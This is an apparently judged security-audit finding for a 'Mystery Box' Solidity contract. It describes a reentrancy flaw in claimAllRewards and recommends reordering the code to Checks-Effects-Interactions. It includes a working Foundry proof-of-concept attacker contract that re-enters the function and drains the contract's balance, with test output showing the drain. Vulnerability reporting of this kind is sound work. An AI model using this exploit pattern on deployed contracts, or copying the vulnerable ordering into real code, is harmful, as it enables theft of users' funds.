Mystery Box

First Flight #25
Beginner FriendlyFoundry
100 EXP
View results
Submission Details
Severity: high
Valid

`claimAllRewards` Function Changing `rewardsOwned` After External Call, Introducing Reentrancy Risk

Summary

The claimAllRewards function in the MysteryBox contract contains a critical vulnerability that can be exploited through reentrancy, allowing malicious users to drain the contract's funds.

Vulnerability Details

Whenever users want to claim all their rewards, they can call the claimAllRewards function. This function calculates the total value of their rewards and transfers it to them. The problem arises because the function modifies rewardsOwned after transferring the funds, introducing potential reentrancy vulnerabilities.

function claimAllRewards() public {
uint256 totalValue = 0;
for (uint256 i = 0; i < rewardsOwned[msg.sender].length; i++) {
totalValue += rewardsOwned[msg.sender][i].value;
}
require(totalValue > 0, "No rewards to claim");
// Transfer rewards
(bool success,) = payable(msg.sender).call{value: totalValue}("");
require(success, "Transfer failed");
// Change state variable after transfer
@> delete rewardsOwned[msg.sender];
}

This allows a user to drain all funds by repeatedly calling claimAllRewards from a malicious contract.

Impact

This vulnerability allows malicious actors to drain all funds from the contract by repeatedly calling claimAllRewards.

PoC

Write the following code to TestMysteryBox.t.sol:

contract MysteryBoxTest is Test {
...
function testReentrancy() public {
address alice = makeAddr("alice");
vm.deal(alice, 2 ether);
vm.startPrank(alice);
// Deploy the attack contract
Reentrancy attackContract = new Reentrancy{value: 1 ether}(address(mysteryBox));
// Simulating a condition where the contract
// holds funds from other users
vm.deal(address(mysteryBox), 100 ether);
uint256 contractBalance = address(mysteryBox).balance;
console.log("Contract balance before attack:", contractBalance);
uint256 attackerBalance = address(attackContract).balance;
console.log("Attacker balance before attack:", attackerBalance);
// Attack
attackContract.drainFunds();
vm.stopPrank();
contractBalance = address(mysteryBox).balance;
console.log("Contract balance after attack:", contractBalance);
attackerBalance = address(attackContract).balance;
console.log("Attacker balance after attack:", attackerBalance);
assert(attackerBalance >= 100 ether);
}
...
}
contract Reentrancy is Test {
MysteryBox mysteryBox;
constructor(address _mysteryBox) payable {
mysteryBox = MysteryBox(_mysteryBox);
}
receive() external payable {
if (address(mysteryBox).balance > 0.1 ether) {
mysteryBox.claimAllRewards();
}
}
function drainFunds() public {
uint256 price = mysteryBox.boxPrice();
// Attacker buys 5 boxes
for (uint8 i = 0; i < 5; i++) {
mysteryBox.buyBox{value: price}();
}
// Give interval for each openBox() to increase
// the potential for receiving different rewards
for (uint8 i = 0; i < 5; i++) {
mysteryBox.openBox();
vm.warp(block.timestamp + 1000);
}
// Drain funds
mysteryBox.claimAllRewards();
}
}

This allows attacker to drain all funds available in the contract.

Output:

Ran 1 test for test/TestMysteryBox.t.sol:MysteryBoxTest
[PASS] testReentrancy() (gas: 2946736)
Logs:
Reward Pool Length: 4
Contract balance before attack: 100000000000000000000
Attacker balance before attack: 1000000000000000000
Contract balance after attack: 0
Attacker balance after attack: 101000000000000000000
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 29.20ms (14.94ms CPU time)

Tools Used

  • Manual review

  • Foundry

Recommendations

To mitigate this vulnerability, modify the claimAllRewards function to follow the Checks-Effects-Interactions (CEI) pattern. This will help ensure that state changes are made before any external calls.

function claimAllRewards() public {
uint256 totalValue = 0;
for (uint256 i = 0; i < rewardsOwned[msg.sender].length; i++) {
totalValue += rewardsOwned[msg.sender][i].value;
}
require(totalValue > 0, "No rewards to claim");
+ delete rewardsOwned[msg.sender];
(bool success,) = payable(msg.sender).call{value: totalValue}("");
require(success, "Transfer failed");
- delete rewardsOwned[msg.sender];
}
Updates

Appeal created

inallhonesty Lead Judge about 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

`claimAllRewards` reentrancy

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!